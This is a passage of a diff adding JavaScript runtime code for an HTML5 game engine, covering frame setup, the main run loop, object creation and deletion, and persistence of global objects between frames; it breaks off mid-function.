+ if ((this.rhFrame.html5Options & CRunFrame.IPHONEOPT_JOYSTICK_LEFTHAND) != 0)
+ {
+ flags |= CJoystick.JFLAG_LEFTHANDED;
+ }
+ if (this.rhFrame.joystick == CRunFrame.JOYSTICK_TOUCH)
+ {
+ flags |= CJoystick.JFLAG_JOYSTICK;
+ }
+ if ((flags & (CJoystick.JFLAG_FIRE1 | CJoystick.JFLAG_FIRE2 | CJoystick.JFLAG_JOYSTICK)) != 0)
+ {
+ this.rhApp.startJoystick(flags);
+ this.rhApp.joystick.reset(flags);
+ }
+
+ // Accelerometer joystick
+ if (this.rhFrame.joystick == CRunFrame.JOYSTICK_ACCELEROMETER)
+ {
+ this.rhApp.startAccJoystick();
+ }
+ }
+ }
+ }
+ this.rhJoystickMask = 0xFF;
+
+ if (bFade)
+ this.rhGameFlags |= CRun.GAMEFLAGS_FIRSTLOOPFADEIN;
+
+ this.initAsmLoop();
+
+ this.resetFrameLayers(-1, false);
+
+ this.prepareFrame();
+
+ this.rhLoopCount = 0;
+ this.createFrameObjects(bFade);
+
+ this.drawLevel();
+ this.hideShowLayers();
+
+ this.loadGlobalObjectsData();
+
+ this.rhEvtProg.prepareProgram();
+ this.rhEvtProg.assemblePrograms(this);
+
+ this.showMouse();
+ this.captureMouse();
+ this.rhQuitParam = 0;
+ this.f_InitLoop();
+ this.bodiesCreated = false;
+
+ //TODO rhEvtProg.HandleKeyRepeat();
+ },
+
+ doRunLoop: function ()
+ {
+ if (this.rh2PauseCompteur > 0 && this.rhApp.modalSubappObject == null)
+ {
+ if (this.quitPause)
+ {
+ if (this.rhApp.keyNew == true)
+ {
+ if (this.rh4PauseKey >= 0)
+ {
+ if (this.rhApp.keyBuffer[this.rh4PauseKey])
+ {
+ this.resume();
+ this.rhQuit = 0;
+ this.rh4EndOfPause = this.rhLoopCount;
+ this.rhEvtProg.handle_GlobalEvents((-8 << 16) | 0xFFFD);
+ }
+ }
+ else
+ {
+ if (this.rhApp.keyNew)
+ {
+ this.resume();
+ this.rhQuit = 0;
+ this.rh4EndOfPause = this.rhLoopCount;
+ this.rhEvtProg.handle_GlobalEvents((-8 << 16) | 0xFFFD);
+ }
+ }
+ }
+ this.rhApp.keyNew = false;
+ }
+ if (this.questionObjectOn != null)
+ {
+ this.questionObjectOn.handleQuestion();
+ }
+ quit = this.rhQuit;
+ }
+ else
+ {
+ // Calls the game
+ this.rhApp.appRunFlags |= CRunApp.ARF_INGAMELOOP;
+ var quit = this.f_GameLoop();
+ this.rhApp.appRunFlags &= ~CRunApp.ARF_INGAMELOOP;
+
+ // Si fin de FADE IN, detruit les sprites
+ if ((this.rhGameFlags & CRun.GAMEFLAGS_FIRSTLOOPFADEIN) != 0)
+ {
+ var date = new Date();
+ this.fadeTimerDelta = date.getTime() - this.rhTimerOld;
+ // TODO rhFrame.fadeVblDelta = rhApp.newGetCptVbl() - rhVBLOld;
+ this.y_KillLevel(true);
+ this.rhEvtProg.unBranchPrograms();
+ }
+ }
+
+ if (quit == CRun.LOOPEXIT_NEXTLEVEL || quit == CRun.LOOPEXIT_PREVLEVEL || quit == CRun.LOOPEXIT_GOTOLEVEL)
+ {
+ this.rhApp.transitionOldSurface = document.createElement("canvas");
+ this.rhApp.transitionOldSurface.width = this.rhApp.gaCxWin;
+ this.rhApp.transitionOldSurface.height = this.rhApp.gaCyWin;
+ var renderer = new StandardRenderer(this.rhApp.transitionOldSurface);
+
+ if (this.rhApp.frame.leClearBackground) renderer.clearBackground(0, 0, this.gaCxWin, this.gaCyWin);
+ else renderer.renderSolidColor(0, 0, this.gaCxWin, this.gaCyWin, this.frameColor);
+
+ renderer.renderSolidColor(0, 0, this.rhApp.gaCxWin, this.rhApp.gaCyWin, this.rhApp.frameColor);
+ this.rhApp.mainSprite.draw(renderer, 0, 0);
+ }
+
+ if (quit != 0)
+ {
+ var frame = 0;
+ switch (quit)
+ {
+ case 5:
+ this.pause();
+ this.rhApp.keyNew = false;
+ this.quitPause = true;
+ quit = 0;
+ break;
+
+ case 101:
+ if (this.rhFrame.fade)
+ break;
+ this.f_StopSamples();
+ this.killFrameObjects();
+ this.y_KillLevel(false);
+ this.resetFrameLayers(-1, false);
+ this.rhEvtProg.unBranchPrograms();
+ this.freeMouse();
+ this.freeRunHeader();
+
+ this.rhFrame.leX = this.rhFrame.leLastScrlX = this.rh3DisplayX = 0;
+ this.rhFrame.leY = this.rhFrame.leLastScrlY = this.rh3DisplayY = 0;
+ this.rhApp.resetLayers();
+ this.allocRunHeader();
+ this.initAsmLoop();
+ this.resetFrameLayers(-1, false);
+ this.prepareFrame();
+ this.createFrameObjects(false);
+ this.drawLevel();
+ this.loadGlobalObjectsData();
+ this.rhEvtProg.prepareProgram();
+ this.rhEvtProg.assemblePrograms(this);
+ this.f_InitLoop();
+ // this.rhEvtProg.HandleKeyRepeat();
+ this.showMouse();
+ this.captureMouse();
+ quit = 0;
+ this.rhQuitParam = 0;
+ break;
+
+ case 100:
+ case -2:
+ this.rhEvtProg.handle_GlobalEvents(((-4 << 16) | 65533));
+ break;
+
+ }
+ }
+ this.rhQuit = quit;
+ return quit;
+ },
+
+ killRunLoop: function (bLeaveSamples)
+ {
+ var quitParam;
+
+ // Filtre les codes internes
+ if (this.rhQuit > 100)
+ {
+ this.rhQuit = CRun.LOOPEXIT_ENDGAME;
+ }
+ quitParam = this.rhQuitParam;
+ this.saveGlobalObjectsData();
+ this.killFrameObjects();
+
+ this.y_KillLevel(bLeaveSamples);
+ this.rhEvtProg.unBranchPrograms();
+ this.freeRunHeader();
+ this.freeMouse();
+ this.resetFrameLayers(-1, true);
+ this.rhApp.endJoystick();
+
+ return (CServices.MAKELONG(this.rhQuit, quitParam));
+ },
+ initAsmLoop: function ()
+ {
+ var i;
+ for (i = 0; i < this.rhMaxObjects; i++)
+ this.rhObjectList[i] = null;
+ },
+ prepareFrame: function ()
+ {
+ var oiPtr;
+ var ocPtr;
+ var n, type;
+
+ this.rhGameFlags |= CRun.GAMEFLAGS_LOADONCALL;
+ this.rhGameFlags |= CRun.GAMEFLAGS_INITIALISING;
+
+ this.rh2CreationCount = 0;
+
+ var loPtr;
+ var count = 0;
+ this.rhOiList = new Array(this.rhMaxOI);
+ this.rhMouseUsed = 0;
+ for (oiPtr = this.rhApp.OIList.getFirstOI(); oiPtr != null; oiPtr = this.rhApp.OIList.getNextOI())
+ {
+ type = oiPtr.oiType;
+ if (type >= COI.OBJ_SPR)
+ {
+ this.rhOiList[count] = new CObjInfo();
+ this.rhOiList[count].copyData(oiPtr);
+
+ this.rhOiList[count].oilHFII = -1;
+ if (type == COI.OBJ_TEXT || type == COI.OBJ_QUEST)
+ {
+ for (loPtr = this.rhFrame.LOList.first_LevObj(); loPtr != null; loPtr = this.rhFrame.LOList.next_LevObj())
+ {
+ if (loPtr.loOiHandle == this.rhOiList[count].oilOi)
+ {
+ this.rhOiList[count].oilHFII = loPtr.loHandle;
+ break;
+ }
+ }
+ }
+ count++;
+
+ ocPtr = oiPtr.oiOC;
+ if ((ocPtr.ocOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0 && ocPtr.ocMovements != null)
+ {
+ for (n = 0; n < ocPtr.ocMovements.nMovements; n++)
+ {
+ var mvPtr = ocPtr.ocMovements.moveList[n];
+ if (mvPtr.mvType == CMoveDef.MVTYPE_MOUSE)
+ {
+ this.rhMouseUsed |= 1 << (mvPtr.mvControl - 1);
+ }
+ }
+ }
+ }
+ }
+
+ var i;
+ for (i = 0; i < this.rhFrame.nLayers; i++)
+ {
+ this.rhFrame.layers[i].nZOrderMax = 1;
+ }
+ return 0;
+ },
+
+ createRemainingFrameObjects: function ()
+ {
+ var error = 0;
+ var num;
+ var oiPtr;
+ var ocPtr;
+ var type;
+ var n;
+ var creatFlags;
+ var loPtr;
+
+ this.rhGameFlags &= ~CRun.GAMEFLAGS_FIRSTLOOPFADEIN;
+
+ for (n = 0, loPtr = this.rhFrame.LOList.first_LevObj(); loPtr != null; n++, loPtr = this.rhFrame.LOList.next_LevObj())
+ {
+ oiPtr = this.rhApp.OIList.getOIFromHandle(loPtr.loOiHandle);
+ ocPtr = oiPtr.oiOC;
+ type = oiPtr.oiType;
+
+ if (type < COI.KPX_BASE)
+ {
+ continue;
+ }
+ if ((ocPtr.ocOEFlags & CObjectCommon.OEFLAG_RUNBEFOREFADEIN) != 0)
+ {
+ continue;
+ }
+
+ creatFlags = CRun.COF_CREATEDATSTART;
+
+ // Objet pas dans le bon mode || cree au milieu du jeu. SKIP
+ if (loPtr.loParentType != CLO.PARENT_NONE)
+ {
+ continue;
+ }
+
+ // Objet iconise non texte . SKIP
+ if ((ocPtr.ocFlags2 & CObjectCommon.OCFLAGS2_VISIBLEATSTART) == 0)
+ {
+ if (type != COI.OBJ_TEXT)
+ {
+ continue;
+ }
+ creatFlags |= CRun.COF_HIDDEN;
+ }
+
+ // Creation de l'objet
+ if ((ocPtr.ocOEFlags & CObjectCommon.OEFLAG_DONTCREATEATSTART) == 0)
+ {
+ this.f_CreateObject(loPtr.loHandle, loPtr.loOiHandle, 0x80000000, 0x80000000, -1, creatFlags, -1, -1);
+ }
+ }
+ this.rhEvtProg.assemblePrograms(this);
+
+ // Remet le timer
+ var date = new Date();
+ this.rhTimerOld = date.getTime() - this.fadeTimerDelta;
+ // TODO rhVBLOld = (rhApp.newGetCptVbl() - rhFrame.fadeVblDelta);
+ },
+
+ createFrameObjects: function (fade)
+ {
+ var oiPtr;
+ var ocPtr;
+ var type;
+ var n;
+ var creatFlags;
+ var loPtr;
+
+ for (n = 0, loPtr = this.rhFrame.LOList.first_LevObj(); loPtr != null; n++, loPtr = this.rhFrame.LOList.next_LevObj())
+ {
+ oiPtr = this.rhApp.OIList.getOIFromHandle(loPtr.loOiHandle);
+ ocPtr = oiPtr.oiOC;
+ type = oiPtr.oiType;
+
+ creatFlags = CRun.COF_CREATEDATSTART;
+
+ if (loPtr.loParentType != CLO.PARENT_NONE)
+ continue;
+
+ if (type == COI.OBJ_TEXT)
+ creatFlags |= CRun.COF_FIRSTTEXT;
+
+ if ((ocPtr.ocFlags2 & CObjectCommon.OCFLAGS2_VISIBLEATSTART) == 0)
+ {
+ if (type == COI.OBJ_QUEST)
+ continue;
+ creatFlags |= CRun.COF_HIDDEN;
+ }
+ if (fade)
+ {
+ if (type >= COI.KPX_BASE)
+ {
+ if ((ocPtr.ocOEFlags & CObjectCommon.OEFLAG_RUNBEFOREFADEIN) == 0)
+ {
+ continue;
+ }
+ }
+ }
+
+ if ((ocPtr.ocOEFlags & CObjectCommon.OEFLAG_DONTCREATEATSTART) == 0)
+ {
+ this.f_CreateObject(loPtr.loHandle, loPtr.loOiHandle, 0x80000000, 0x80000000, -1, creatFlags, -1, -1);
+ }
+ }
+ this.rhGameFlags &= ~CRun.GAMEFLAGS_INITIALISING;
+ },
+ killFrameObjects: function ()
+ {
+ var n;
+ for (n = 0; n < this.rhMaxObjects && this.rhNObjects != 0; n++)
+ {
+ if (this.rhObjectList[n] != null)
+ {
+ var pHo = this.rhObjectList[n];
+ if (pHo.hoType < 32 || pHo.hoCommon.ocIdentifier != CRun.BASEIDENTIFIER)
+ this.f_KillObject(n, true);
+ }
+ }
+
+ for (n = 0; n < this.rhMaxObjects && this.rhNObjects != 0; n++)
+ {
+ if (this.rhObjectList[n] != null)
+ {
+ var pHo = this.rhObjectList[n];
+ if (pHo.hoType >= 32 && pHo.hoCommon.ocIdentifier == CRun.BASEIDENTIFIER)
+ this.f_KillObject(n, true);
+ }
+ }
+ },
+
+ y_KillLevel: function (bLeaveSamples)
+ {
+ if (!bLeaveSamples)
+ {
+ if ((this.rhApp.gaNewFlags & CRunApp.GANF_SAMPLESOVERFRAMES) == 0)
+ {
+ this.rhApp.soundPlayer.stopAllSounds();
+ }
+ else
+ {
+ this.rhApp.soundPlayer.keepCurrentSounds();
+ }
+ }
+ },
+ resetFrameLayers: function (nLayer, bDeleteFrame)
+ {
+ var i, nLayers;
+
+ if (nLayer == -1)
+ {
+ i = 0;
+ nLayers = this.rhFrame.nLayers;
+ }
+ else
+ {
+ i = nLayer;
+ nLayers = (nLayer + 1);
+ }
+
+ for (i = 0; i < nLayers; i++)
+ {
+ var pLayer = this.rhFrame.layers[i];
+
+ pLayer.reset();
+ pLayer.deleteBackObjects();
+ if (bDeleteFrame)
+ {
+ pLayer.deletePlanes();
+ }
+ }
+ },
+
+ captureMouse: function ()
+ {
+ if (this.rhMouseUsed != 0)
+ {
+ this.setCursorCount(-1);
+ }
+ },
+ freeMouse: function ()
+ {
+ if (this.rhMouseUsed != 0)
+ {
+ this.setCursorCount(0);
+ }
+ },
+ setCursorCount: function (count)
+ {
+ if (count >= 0)
+ this.rhApp.showCursor(1);
+ else
+ this.rhApp.showCursor(-1);
+ },
+ showMouse: function ()
+ {
+ this.rhApp.showCursor(1);
+ },
+ hideMouse: function ()
+ {
+ this.rhApp.showCursor(-1);
+ },
+ addFastLoop: function(name)
+ {
+ var pLoop;
+ var index;
+ for (index = 0; index < this.rh4FastLoops.size(); index++)
+ {
+ pLoop = this.rh4FastLoops.get(index);
+ if (CServices.compareStringsIgnoreCase(pLoop.name, name))
+ break;
+ }
+ if (index == this.rh4FastLoops.size())
+ {
+ var loop = new CLoop();
+ this.rh4FastLoops.add(loop);
+ index = this.rh4FastLoops.size() - 1;
+ loop.name = name;
+ loop.flags = 0;
+ }
+ return index;
+ },
+ saveGlobalObjectsData: function ()
+ {
+ var hoPtr;
+ var oilPtr;
+ var oil, obj;
+ var oiPtr;
+ var name;
+ var o;
+
+ for (oil = 0; oil < this.rhOiList.length; oil++)
+ {
+ oilPtr = this.rhOiList[oil];
+
+ o = oilPtr.oilObject;
+ if (oilPtr.oilOi != 0x7FFF && (o & 0x80000000) == 0)
+ {
+ oiPtr = this.rhApp.OIList.getOIFromHandle(oilPtr.oilOi);
+
+ if ((oiPtr.oiFlags & COI.OIF_GLOBAL) != 0)
+ {
+ hoPtr = this.rhObjectList[o];
+
+ if (oilPtr.oilType != COI.OBJ_TEXT && oilPtr.oilType != COI.OBJ_COUNTER && hoPtr.rov == null)
+ continue;
+
+ name = oilPtr.oilName + oilPtr.oilType.toString();
+
+ if (this.rhApp.adGO == null)
+ {
+ this.rhApp.adGO = new CArrayList();
+ }
+
+ var flag = false;
+ var save = null;
+ for (obj = 0; obj < this.rhApp.adGO.size(); obj++)
+ {
+ save = this.rhApp.adGO.get(obj);
+ if (name == save.name)
+ {
+ flag = true;
+ break;
+ }
+ }
+ if (flag == false)
+ {
+ save = new CSaveGlobal();
+ save.name = name;
+ save.objects = new CArrayList();
+ this.rhApp.adGO.add(save);
+ }
+ else
+ {
+ save.objects.clear();
+ }
+
+ var n;
+ while (true)
+ {
+ hoPtr = this.rhObjectList[o];
+
+ if (oilPtr.oilType == COI.OBJ_TEXT)
+ {
+ var saveText = new CSaveGlobalText();
+ saveText.text = hoPtr.rsTextBuffer;
+ saveText.rsMini = hoPtr.rsMini;
+ save.objects.add(saveText);
+ }
+ else if (oilPtr.oilType == COI.OBJ_COUNTER)
+ {
+ var saveCounter = new CSaveGlobalCounter();
+ saveCounter.value = hoPtr.rsValue;
+ saveCounter.rsMini = hoPtr.rsMini;
+ saveCounter.rsMaxi = hoPtr.rsMaxi;
+ saveCounter.rsMiniDouble = hoPtr.rsMiniDouble;
+ saveCounter.rsMaxiDouble = hoPtr.rsMaxiDouble;
+ save.objects.add(saveCounter);
+ }
+ else
+ {
+ var saveValues = new CSaveGlobalValues();
+ saveValues.flags = hoPtr.rov.rvValueFlags;
+ saveValues.values = new Array(hoPtr.rov.rvValues.length);
+ for (n = 0; n < hoPtr.rov.rvValues.length; n++)
+ {
+ saveValues.values[n] = hoPtr.rov.rvValues[n];
+ }
+ saveValues.strings = new Array(hoPtr.rov.rvStrings.length);
+ for (n = 0; n < hoPtr.rov.rvStrings.length; n++)
+ {
+ saveValues.strings[n] = hoPtr.rov.rvStrings[n];
+ }
+ save.objects.add(saveValues);
+ }
+
+ o = hoPtr.hoNumNext;
+ if ((o & 0x80000000) != 0)
+ break;
+ }
+ }
+ }
+ }
+ },
+
+ loadGlobalObjectsData: function ()
+ {
+ var hoPtr;
+ var oilPtr;
+ var oil, obj;
+ var oiPtr;
+ var name;
+ var o;
+
+ if (this.rhApp.adGO == null)
+ return;
+
+ for (oil = 0; oil < this.rhOiList.length; oil++)
+ {
+ oilPtr = this.rhOiList[oil];
+
+ o = oilPtr.oilObject;
+ if (oilPtr.oilOi != 0x7FFF && o >= 0)
+ {
+ oiPtr = this.rhApp.OIList.getOIFromHandle(oilPtr.oilOi);
+
+ if ((oiPtr.oiFlags & COI.OIF_GLOBAL) != 0)
+ {
+ name = oilPtr.oilName + oilPtr.oilType.toString();
+
+ for (obj = 0; obj < this.rhApp.adGO.size(); obj++)
+ {
+ var save = this.rhApp.adGO.get(obj);
+ if (name == save.name)
+ {
+ var count = 0;
+ while (true)
+ {
+ hoPtr = this.rhObjectList[o];
+
+ if (oilPtr.oilType == COI.OBJ_TEXT)
+ {
+ var saveText = save.objects.get(count);
+ hoPtr.rsTextBuffer = saveText.text;
+ hoPtr.rsMini = saveText.rsMini;
+ hoPtr.roc.rcChanged = true;
+ hoPtr.bTxtChanged = true;
+ }
+ else if (oilPtr.oilType == COI.OBJ_COUNTER)
+ {
+ var saveCounter = save.objects.get(count);
+ hoPtr.rsValue = saveCounter.value;
+ hoPtr.rsMini = saveCounter.rsMini;
+ hoPtr.rsMaxi = saveCounter.rsMaxi;
+ hoPtr.rsMiniDouble = saveCounter.rsMiniDouble;
+ hoPtr.rsMaxiDouble = saveCounter.rsMaxiDouble;
+ hoPtr.bCounterChanged = true;
+ hoPtr.roc.rcChanged = true;
+ }
+ else
+ {
+ var saveValues = save.objects.get(count);
+ hoPtr.rov.rvValueFlags = saveValues.flags;
+ hoPtr.rov.growValues(saveValues.values.length);
+ hoPtr.rov.growStrings(saveValues.strings.length);
+ var n;
+ for (n = 0; n < saveValues.values.length; n++)
+ {
+ hoPtr.rov.rvValues[n] = saveValues.values[n];
+ }
+ for (n = 0; n < saveValues.strings.length; n++)
+ {
+ hoPtr.rov.rvStrings[n] = saveValues.strings[n];
+ }
+ }
+
+ o = hoPtr.hoNumNext;
+ if ((o & 0x80000000) != 0)
+ break;
+
+ count++;
+ if (count >= save.objects.size())
+ break;
+ }
+ break;
+ }
+ }
+ }
+ }
+ }
+ },
+
+ f_CreateObject: function (hlo, oi, coordX, coordY, initDir, flags, nLayer, numCreation)
+ {
+ while (true)
+ {
+ var cob = new CCreateObjectInfo();
+
+ var loPtr = null;
+ if (hlo != -1)
+ loPtr = this.rhFrame.LOList.getLOFromHandle(hlo);
+
+ var oiPtr = this.rhApp.OIList.getOIFromHandle(oi);
+ var ocPtr = oiPtr.oiOC;
+
+ if ((ocPtr.ocFlags2 & CObjectCommon.OCFLAGS2_VISIBLEATSTART) == 0)
+ {
+ flags |= CRun.COF_HIDDEN;
+ }
+
+ if (this.rhNObjects >= this.rhMaxObjects)
+ break;
+
+ var hoPtr = null;
+ var proto = new CObject();
+ switch (oiPtr.oiType)
+ {
+ case 2:
+ hoPtr = new CActive();
+ break;
+ case 3:
+ hoPtr = new CText();
+ break;
+ case 4:
+ hoPtr = new CQuestion();
+ break;
+ case 5:
+ hoPtr = new CScore();
+ break;
+ case 6:
+ hoPtr = new CLives();
+ break;
+ case 7:
+ hoPtr = new CCounter();
+ break;
+ case 8:
+ // hoPtr=new CRtf();
+ break;
+ case 9:
+ hoPtr = new CCCA();
+ break;
+ default:
+ hoPtr = new CExtension(oiPtr.oiType, this);
+ if (hoPtr.ext == null)
+ {
+ hoPtr = null;
+ }
+ break;
+ }
+ if (hoPtr == null)
+ break;
+ hoPtr.prototype = proto;
+ hoPtr.lo = loPtr;
+
+ if (numCreation < 0)
+ {
+ for (numCreation = 0; numCreation < this.rhMaxObjects; numCreation++)
+ {
+ if (this.rhObjectList[numCreation] == null)
+ {
+ break;
+ }
+ }
+ }
+ if (numCreation >= this.rhMaxObjects)
+ {
+ return -1;
+ }
+ this.rhObjectList[numCreation] = hoPtr;
+ this.rhNObjects++;
+ hoPtr.hoIdentifier = ocPtr.ocIdentifier;
+ hoPtr.hoOEFlags = ocPtr.ocOEFlags;
+
+ if (numCreation > this.rh4ObjectCurCreate)
+ this.rh4ObjectAddCreate++;
+
+ hoPtr.hoNumber = numCreation;
+ this.rh2CreationCount++;
+ if (this.rh2CreationCount == 0)
+ this.rh2CreationCount = 1;
+ hoPtr.hoCreationId = this.rh2CreationCount;
+ hoPtr.hoOi = oi;
+ hoPtr.hoHFII = hlo;
+ hoPtr.hoType = oiPtr.oiType;
+ this.oi_Insert(hoPtr);
+ hoPtr.hoAdRunHeader = this;
+ hoPtr.hoCallRoutine = true;
+
+ hoPtr.hoCommon = ocPtr;
+
+ // Sprite en mode inbitate?
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_MANUALSLEEP) == 0)
+ {
+ // On detruit... sauf si...
+ hoPtr.hoOEFlags &= ~CObjectCommon.OEFLAG_NEVERSLEEP;
+
+ // On teste des collisions avec le decor?
+ if ((hoPtr.hoLimitFlags & CObjInfo.OILIMITFLAGS_QUICKBACK) != 0)
+ {
+ // Si masque des collisions general
+ if ((this.rhFrame.leFlags & CRunFrame.LEF_TOTALCOLMASK) != 0)
+ {
+ hoPtr.hoOEFlags |= CObjectCommon.OEFLAG_NEVERSLEEP;
+ }
+ }
+ // Ou test des collisions normal
+ if ((hoPtr.hoLimitFlags & (CObjInfo.OILIMITFLAGS_QUICKCOL | CObjInfo.OILIMITFLAGS_QUICKBORDER)) != 0)
+ {
+ hoPtr.hoOEFlags |= CObjectCommon.OEFLAG_NEVERSLEEP;
+ }
+ }
+
+ var x = coordX; // X
+ if (x == 0x80000000)
+ x = loPtr.loX;
+ cob.cobX = x;
+ hoPtr.hoX = x;
+
+ var y = coordY; // Y
+ if (y == 0x80000000)
+ y = loPtr.loY;
+ cob.cobY = y;
+ hoPtr.hoY = y;
+
+ if (loPtr != null)
+ {
+ if (nLayer == -1)
+ {
+ nLayer = loPtr.loLayer;
+ }
+ }
+ cob.cobLayer = nLayer;
+ hoPtr.hoLayer = nLayer;
+
+ var pLayer = this.rhFrame.layers[nLayer];
+ pLayer.nZOrderMax++;
+ cob.cobZOrder = pLayer.nZOrderMax;
+
+ cob.cobFlags = flags;
+ cob.cobDir = initDir;
+ cob.cobLevObj = loPtr;
+
+ hoPtr.roc = null;
+ if ((hoPtr.hoOEFlags & (CObjectCommon.OEFLAG_ANIMATIONS | CObjectCommon.OEFLAG_MOVEMENTS | CObjectCommon.OEFLAG_SPRITES)) != 0)
+ {
+ hoPtr.roc = new CRCom();
+ hoPtr.roc.init();
+ }
+
+ hoPtr.rom = null;
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ hoPtr.rom = new CRMvt();
+ if ((cob.cobFlags & CRun.COF_NOMOVEMENT) == 0)
+ {
+ hoPtr.rom.init(0, hoPtr, ocPtr, cob, -1);
+ }
+ }
+
+ hoPtr.roa = null;
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ hoPtr.roa = new CRAni();
+ hoPtr.roa.init(hoPtr);
+ }
+
+ hoPtr.ros = null;
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0)
+ {
+ hoPtr.ros = new CRSpr();
+ hoPtr.ros.init1(hoPtr, ocPtr, cob);
+ }
+
+ hoPtr.rov = null;
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_VALUES) != 0)
+ {
+ hoPtr.rov = new CRVal();
+ hoPtr.rov.init(hoPtr, ocPtr, cob);
+ }
+
+ hoPtr.init(ocPtr, cob);
+
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_SPRITES) != 0)
+ {
+ hoPtr.ros.init2(true);
+ }
+
+ if (this.rhLoopCount >= 1)
+ hoPtr.callComputeNewDisplay();
+
+ return numCreation;
+ }
+ return -1;
+ },
+
+ f_KillObject: function (nObject, bFast)
+ {
+ var hoPtr = this.rhObjectList[nObject];
+ if (hoPtr == null)
+ {
+ return;
+ }
+
+ if (bFast == true && hoPtr.hoCreationId == 0)
+ {
+ this.rhObjectList[nObject] = null;
+ this.rhNObjects--;
+ return;
+ }
+
+ this.killShootPtr(hoPtr);
+
+ if (hoPtr.rom != null)
+ hoPtr.rom.kill(bFast);
+ if (hoPtr.rov != null)
+ hoPtr.rov.kill(bFast);
+ if (hoPtr.ros != null)
+ hoPtr.ros.kill(bFast);
+ if (hoPtr.roc != null)
+ hoPtr.roc.kill(bFast);
+
+ hoPtr.kill(bFast);
+
+ this.oi_Delete(hoPtr);
+
+ this.rhObjectList[nObject] = null;
+
+ this.rhNObjects--;
+
+ },
+
+ destroy_Add: function (hoNumber)
+ {
+ var pos = Math.floor(hoNumber / 32);
+ var bit = 1 << (hoNumber & 31);
+ this.rhDestroyList[pos] |= bit;
+ this.rhDestroyPos++;
+ },
+
+ destroy_List: function ()
+ {
+ if (this.rhDestroyPos == 0)
+ {
+ return;
+ }
+
+ var nob = 0;
+ var dw;
+ var count;
+ while (nob < this.rhMaxObjects)
+ {
+ dw = this.rhDestroyList[nob / 32];
+ if (dw != 0)
+ {
+ this.rhDestroyList[nob / 32] = 0;
+ for (count = 0; dw != 0 && count < 32; count++)
+ {
+ if ((dw & 1) != 0)
+ {
+ var pHo = this.rhObjectList[nob + count];
+ if (pHo != null)
+ {
+ if (pHo.hoOiList.oilNObjects == 1)
+ {
+ this.rhEvtProg.handle_Event(pHo, (pHo.hoType | (-33 << 16)));
+ }
+ }
+ this.f_KillObject(nob + count, false);
+ this.rhDestroyPos--;
+ }
+ dw = dw >> 1;
+ }
+ if (this.rhDestroyPos == 0)
+ {
+ return;
+ }
+ }
+ nob += 32;
+ }
+ },
+
+ killShootPtr: function (hoSource)
+ {
+ var count = 0;
+ var nObject;
+ var hoPtr;
+ for (nObject = 0; nObject < this.rhNObjects; nObject++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ hoPtr = this.rhObjectList[count];
+ count++;
+
+ if (hoPtr.rom != null)
+ {
+ if (hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_BULLET)
+ {
+ var mBullet = hoPtr.rom.rmMovement;
+ if (mBullet.MBul_ShootObject == hoSource && mBullet.MBul_Wait == true)
+ {
+ mBullet.startBullet();
+ }
+ }
+ }
+ }
+ },
+
+ callComputeNewDisplay: function ()
+ {
+ var nObject;
+ var hoPtr;
+ var count;
+ for (nObject = 0, count = 0; nObject < this.rhNObjects; nObject++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ hoPtr = this.rhObjectList[count];
+ count++;
+ hoPtr.createFont();
+ }
+ for (nObject = 0, count = 0; nObject < this.rhNObjects; nObject++)
+ {
+ while (this.rhObjectList[count] == null)
+ count++;
+ hoPtr = this.rhObjectList[count];
+ count++;
+ hoPtr.callComputeNewDisplay();
+ }
+ },
+
+ oi_Insert: function (pHo)
+ {
+ var oi = pHo.hoOi;
+
+ var num;
+ for (num = 0; num < this.rhMaxOI; num++)
+ {
+ if (this.rhOiList[num].oilOi == oi)
+ {
+ break;
+ }
+ }
+ var poil = this.rhOiList[num];
+
+ if ((poil.oilObject & 0x80000000) != 0)
+ {
+ poil.oilObject = pHo.hoNumber;
+ pHo.hoNumPrev = (num | 0x80000000);
+ pHo.hoNumNext = 0x80000000;
+ }
+ else
+ {
+ var pHo2 = this.rhObjectList[poil.oilObject];
+ pHo.hoNumPrev = pHo2.hoNumPrev;
+ pHo2.hoNumPrev = pHo.hoNumber;
+ pHo.hoNumNext = pHo2.hoNumber;
+ poil.oilObject = pHo.hoNumber;
+ }
+
+ pHo.hoEvents = poil.oilEvents;
+ pHo.hoOiList = poil;
+ pHo.hoLimitFlags = poil.oilLimitFlags;
+ if (pHo.hoHFII == -1)
+ pHo.hoHFII = poil.oilHFII;
+ else
+ {
+ if (poil.oilHFII == -1)
+ poil.oilHFII = pHo.hoHFII;
+ }
+ poil.oilNObjects += 1;
+ },
+
+ oi_Delete: function (pHo)
+ {
+ var poil = pHo.hoOiList;
+ poil.oilNObjects -= 1;
+
+ var pHo2;
+ if ((pHo.hoNumPrev & 0x80000000) == 0)
+ {
+ pHo2 = this.rhObjectList[pHo.hoNumPrev];
+ if ((pHo.hoNumNext & 0x80000000) == 0)
+ {
+ var pHo3 = this.rhObjectList[pHo.hoNumNext];
+ if (pHo2 != null)
+ pHo2.hoNumNext = pHo.hoNumNext;
+ if (pHo3 != null)
+ pHo3.hoNumPrev = pHo.hoNumPrev;
+ }
+ else
+ {
+ if (pHo2 != null)
+ pHo2.hoNumNext = 0x80000000;
+ }
+ }
+ else
+ {
+ if ((pHo.hoNumNext & 0x80000000) == 0)
+ {
+ pHo2 = this.rhObjectList[pHo.hoNumNext];
+ if (pHo2 != null)
+ {
+ pHo2.hoNumPrev = pHo.hoNumPrev;
+ poil.oilObject = pHo2.hoNumber;
+ }
+ }
+ else
+ {
+ poil.oilObject = 0x80000000;
+ }
+ }
+ },
+
+ CreateBodies: function ()
+ {
+ var pBase = this.GetBase();
+ if (pBase == null)
+ return;
+
+ var pOL = 0;
+ var nObjects;
+ for (nObjects = 0; nObjects < this.rhNObjects; pOL++, nObjects++)
+ {
+ while (this.rhObjectList[pOL] == null) pOL++;
+ var pHo = this.rhObjectList[pOL];
+ if (pHo.hoType >= 32)
+ {
+ if (pHo.hoCommon.ocIdentifier == CRun.FANIDENTIFIER
+ || pHo.hoCommon.ocIdentifier == CRun.TREADMILLIDENTIFIER
